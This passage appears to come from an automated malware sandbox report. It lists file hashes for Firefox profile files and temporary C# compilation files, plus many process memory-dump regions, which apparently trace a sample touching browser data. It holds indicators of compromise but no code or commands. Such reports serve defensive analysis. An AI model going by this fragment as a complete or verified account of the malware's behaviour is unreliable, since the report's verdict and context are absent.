39b79045b80a5266bbe491ee316e1ff0da2a815cc41305ad946cabc4d9dd733f

SHA512
61213352e52fe4c0ed7654e2be4d98a35ff9cd8cd02cc05707d9c5084a4d68228beb92ef936abbb352511a7b7bd44c6ac8a612c24ebeded10dd67e6eeba836af

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\prefs.js

Filesize
10KB

MD5
8c848f72c47193ce2dd1eddf29fd30a4

SHA1
2deec44c77285f3c2b2fa0f52539500b40dbe451

SHA256
3472769522df08e39ef8a8b8f32af22b00eadeefeadbb9106d00637185c9d754

SHA512
95a42364392e26d740c04633fb2a70896d2ad5b7ff9379bcfb65134f81909aa3f7fc273edf4eba06a9a0f271df4ed961872c2c9f158e033b3917c6d5ef1bf6f5

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
9.4MB

MD5
8b1d0fc2493a98cf7aaaf100cb4199df

SHA1
58e246ff87483e625391b185e3d2af58ef8dac94

SHA256
d4c34e81d4ba7f3a44a0d986efc112fdb0505a6db9bf5e1ba8984a9d811c4939

SHA512
99e362165cc830901ceff04cf65e2c3c0c8c0aaf4ee834e749c206667e06d031e35110a00fb74eecd2029b4d9b19e91dd2eb83b6b2a2bb919f3c4316f78b22bd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\okp0pabk\CSC1DD6C90F8C8346CD93C5DBF57293994.TMP

Filesize
652B

MD5
f7310bd1747627998612a5706e14e448

SHA1
3bf9a4df295d6864182944e12132fbd7e46b6456

SHA256
c752fe9e755930f0ff7a675ecac8d6f9fa2192e583292c44d9a926a6bc7d7fb9

SHA512
f654226c3f8e8f15ca8e057b7e6191cba60c924b38537e1b1ba7a128af67115b8dc56412537851bc1b757f21dd8767873fa9c59e876105f50e6d7c2e0ba21a27

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\okp0pabk\okp0pabk.0.cs

Filesize
941B

MD5
1809fe3ba081f587330273428ec09c9c

SHA1
d24ea2ea868ae49f46c8a7d894b7fda255ec1cd9

SHA256
d07a0c5fdf0862325608791f92273e0fc411c294f94d757f1ff0303ba5e03457

SHA512
e662420fc93a5cefd657f7701432924e6a06482ea147ad814d5e20b16b2f3c13ed2cc6b9caf24c22b7a5b24ad0aa1d216c5804c46d2250522cfc2cadc69f9e28

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\okp0pabk\okp0pabk.cmdline

Filesize
369B

MD5
ee69fc61996c295451a3bc8231bbc2d7

SHA1
0be337cdabf0baa2620d5c3a1921c43ef88e9976

SHA256
c2d3065c0d793bb86744b0daf659e3c5ceccd0bddcbdb136a504e897f30221c0

SHA512
ff8d57089f183bfc447d49482a45ba8acd941528fbb1eec1393bcf0dc62cad227e465d8b0768793eb3c7706124aa7178dbc6c52d18d5f7fc30b254016d0f4b3b

Download Submit
memory/772-948-0x0000000006020000-0x0000000006374000-memory.dmp

Filesize
3.3MB

Download
memory/772-960-0x0000000006900000-0x000000000694C000-memory.dmp

Filesize
304KB

Download
memory/1104-82-0x0000019824430000-0x0000019824452000-memory.dmp

Filesize
136KB

Download
memory/1404-188-0x000001FA64110000-0x000001FA64118000-memory.dmp

Filesize
32KB

Download
memory/1436-1618-0x0000000000430000-0x00000000008E4000-memory.dmp

Filesize
4.7MB

Download
memory/1436-1629-0x0000000000430000-0x00000000008E4000-memory.dmp

Filesize
4.7MB

Download
memory/1680-31-0x0000000000980000-0x0000000000E34000-memory.dmp

Filesize
4.7MB

Download
memory/1680-45-0x0000000000980000-0x0000000000E34000-memory.dmp

Filesize
4.7MB

Download
memory/1680-63-0x0000000000980000-0x0000000000E34000-memory.dmp

Filesize
4.7MB

Download
memory/1788-213-0x0000000000900000-0x0000000000DA1000-memory.dmp

Filesize
4.6MB

Download
memory/1788-212-0x0000000000900000-0x0000000000DA1000-memory.dmp

Filesize
4.6MB

Download
memory/1836-854-0x0000000005C90000-0x0000000005FE4000-memory.dmp

Filesize
3.3MB

Download
memory/1836-875-0x0000000006490000-0x00000000064DC000-memory.dmp

Filesize
304KB

Download
memory/2064-2659-0x00000000006E0000-0x00000000009F4000-memory.dmp

Filesize
3.1MB

Download
memory/2064-2687-0x00000000006E0000-0x00000000009F4000-memory.dmp

Filesize
3.1MB

Download
memory/2064-2266-0x00000000006E0000-0x00000000009F4000-memory.dmp

Filesize
3.1MB

Download
memory/2096-814-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/2096-867-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/3180-18-0x00000000065D0000-0x000000000661C000-memory.dmp

Filesize
304KB

Download
memory/3180-2-0x0000000002C60000-0x0000000002C96000-memory.dmp

Filesize
216KB

Download
memory/3180-16-0x0000000005FC0000-0x0000000006314000-memory.dmp

Filesize
3.3MB

Download
memory/3180-23-0x0000000007A70000-0x0000000007A92000-memory.dmp

Filesize
136KB

Download
memory/3180-17-0x0000000006580000-0x000000000659E000-memory.dmp

Filesize
120KB

Download
memory/3180-24-0x0000000008AF0000-0x0000000009094000-memory.dmp

Filesize
5.6MB

Download
memory/3180-6-0x0000000005F50000-0x0000000005FB6000-memory.dmp

Filesize
408KB

Download
memory/3180-19-0x0000000007EC0000-0x000000000853A000-memory.dmp

Filesize
6.5MB

Download
memory/3180-5-0x0000000005EE0000-0x0000000005F46000-memory.dmp

Filesize
408KB

Download
memory/3180-4-0x00000000056E0000-0x0000000005702000-memory.dmp

Filesize
136KB

Download
memory/3180-3-0x0000000005840000-0x0000000005E68000-memory.dmp

Filesize
6.2MB

Download
memory/3180-22-0x0000000007AE0000-0x0000000007B76000-memory.dmp

Filesize
600KB

Download
memory/3180-20-0x0000000006AD0000-0x0000000006AEA000-memory.dmp

Filesize
104KB

Download
memory/3552-190-0x000000000CEE0000-0x000000000D763000-memory.dmp

Filesize
8.5MB

Download
memory/3572-133-0x0000000000100000-0x000000000059B000-memory.dmp

Filesize
4.6MB

Download
memory/3572-107-0x0000000000100000-0x000000000059B000-memory.dmp

Filesize
4.6MB

Download
memory/3608-3124-0x0000000000140000-0x0000000000450000-memory.dmp

Filesize
3.1MB

Download
memory/3608-3113-0x0000000000140000-0x0000000000450000-memory.dmp

Filesize
3.1MB

Download
memory/3656-759-0x0000000000B70000-0x000000000126E000-memory.dmp

Filesize
7.0MB

Download
memory/3656-254-0x0000000000B70000-0x000000000126E000-memory.dmp

Filesize
7.0MB

Download
memory/3656-761-0x0000000000B70000-0x000000000126E000-memory.dmp

Filesize
7.0MB

Download
memory/3656-914-0x0000000000B70000-0x000000000126E000-memory.dmp

Filesize
7.0MB

Download
memory/3656-903-0x0000000000B70000-0x000000000126E000-memory.dmp

Filesize
7.0MB

Download
memory/3656-255-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/3724-3071-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/3724-3081-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/3780-126-0x0000000000F80000-0x0000000000FF0000-memory.dmp

Filesize
448KB

Download
memory/4380-2260-0x0000000000580000-0x0000000000A28000-memory.dmp

Filesize
4.7MB

Download
memory/4380-2166-0x0000000000580000-0x0000000000A28000-memory.dmp

Filesize
4.7MB

Download
memory/4564-2688-0x0000000000280000-0x0000000000734000-memory.dmp

Filesize
4.7MB

Download
memory/4564-2690-0x0000000000280000-0x0000000000734000-memory.dmp

Filesize
4.7MB

Download
memory/4624-885-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4624-65-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4624-195-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4624-725-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4624-108-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4624-47-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4624-239-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4624-64-0x00000000001B0000-0x0000000000664000-memory.dmp

Filesize
4.7MB

Download
memory/4876-128-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/4876-135-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/4876-137-0x0000000003B20000-0x0000000003B25000-memory.dmp

Filesize
20KB

Download
memory/4876-136-0x0000000003B20000-0x0000000003B25000-memory.dmp

Filesize
20KB

Download
memory/4876-131-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/5024-155-0x0000000000980000-0x00000000009E0000-memory.dmp

Filesize
384KB

Download
memory/5060-157-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-726-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-807-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-159-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-804-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-803-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-787-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-786-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-770-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-767-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-752-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5060-747-0x0000000000400000-0x0000000000429000-memory.dmp

Filesize
164KB

Download
memory/5268-729-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-715-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-731-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-732-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-730-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-805-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-728-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-723-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-714-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp

Filesize
8.8MB

Download
memory/5268-724-0x000001DDA46E0000-0x000001DDA4700000-memory.dmp

Filesize
128KB

Download
memory/5620-1156-0x0000000000050000-0x00000000000C8000-memory.dmp

Filesize
480KB

Download
memory/5620-2660-0x0000000000020000-0x00000000006B9000-memory.dmp

Filesize
6.6MB

Download
memory/5620-2673-0x0000000000020000-0x00000000006B9000-memory.dmp

Filesize
6.6MB

Download
memory/5636-3013-0x0000000000DC0000-0x000000000121C000-memory.dmp

Filesize
4.4MB

Download
memory/5636-3067-0x0000000000DC0000-0x000000000121C000-memory.dmp

Filesize
4.4MB

Download
memory/5636-3066-0x0000000000DC0000-0x000000000121C000-memory.dmp

Filesize
4.4MB

Download
memory/5636-3122-0x0000000000DC0000-0x000000000121C000-memory.dmp

Filesize
4.4MB

Download
memory/5636-3127-0x0000000000DC0000-0x000000000121C000-memory.dmp

Filesize
4.4MB

Download
memory/5772-813-0x0000000000E70000-0x000000000156E000-memory.dmp

Filesize
7.0MB

Download
memory/5772-406-0x0000000000E70000-0x000000000156E000-memory.dmp

Filesize
7.0MB

Download
memory/5772-2224-0x0000000000E70000-0x000000000156E000-memory.dmp

Filesize
7.0MB

Download
memory/5864-1375-0x0000000005D60000-0x00000000060B4000-memory.dmp

Filesize
3.3MB

Download
memory/5864-1511-0x0000000006900000-0x000000000694C000-memory.dmp

Filesize
304KB

Download
memory/5884-1520-0x0000000000B50000-0x0000000001537000-memory.dmp

Filesize
9.9MB

Download
memory/5884-974-0x0000000000B50000-0x0000000001537000-memory.dmp

Filesize
9.9MB

Download
memory/5884-1696-0x0000000000B50000-0x0000000001537000-memory.dmp

Filesize
9.9MB

Download
memory/5904-2225-0x00000000008B0000-0x00000000014E0000-memory.dmp

Filesize
12.2MB

Download
memory/5904-2250-0x00000000008B0000-0x00000000014E0000-memory.dmp

Filesize
12.2MB

Download
memory/5904-1663-0x00000000008B0000-0x00000000014E0000-memory.dmp

Filesize
12.2MB

Download
memory/6016-926-0x0000000000890000-0x0000000000D44000-memory.dmp

Filesize
4.7MB

Download
memory/6016-947-0x0000000000890000-0x0000000000D44000-memory.dmp

Filesize
4.7MB

Download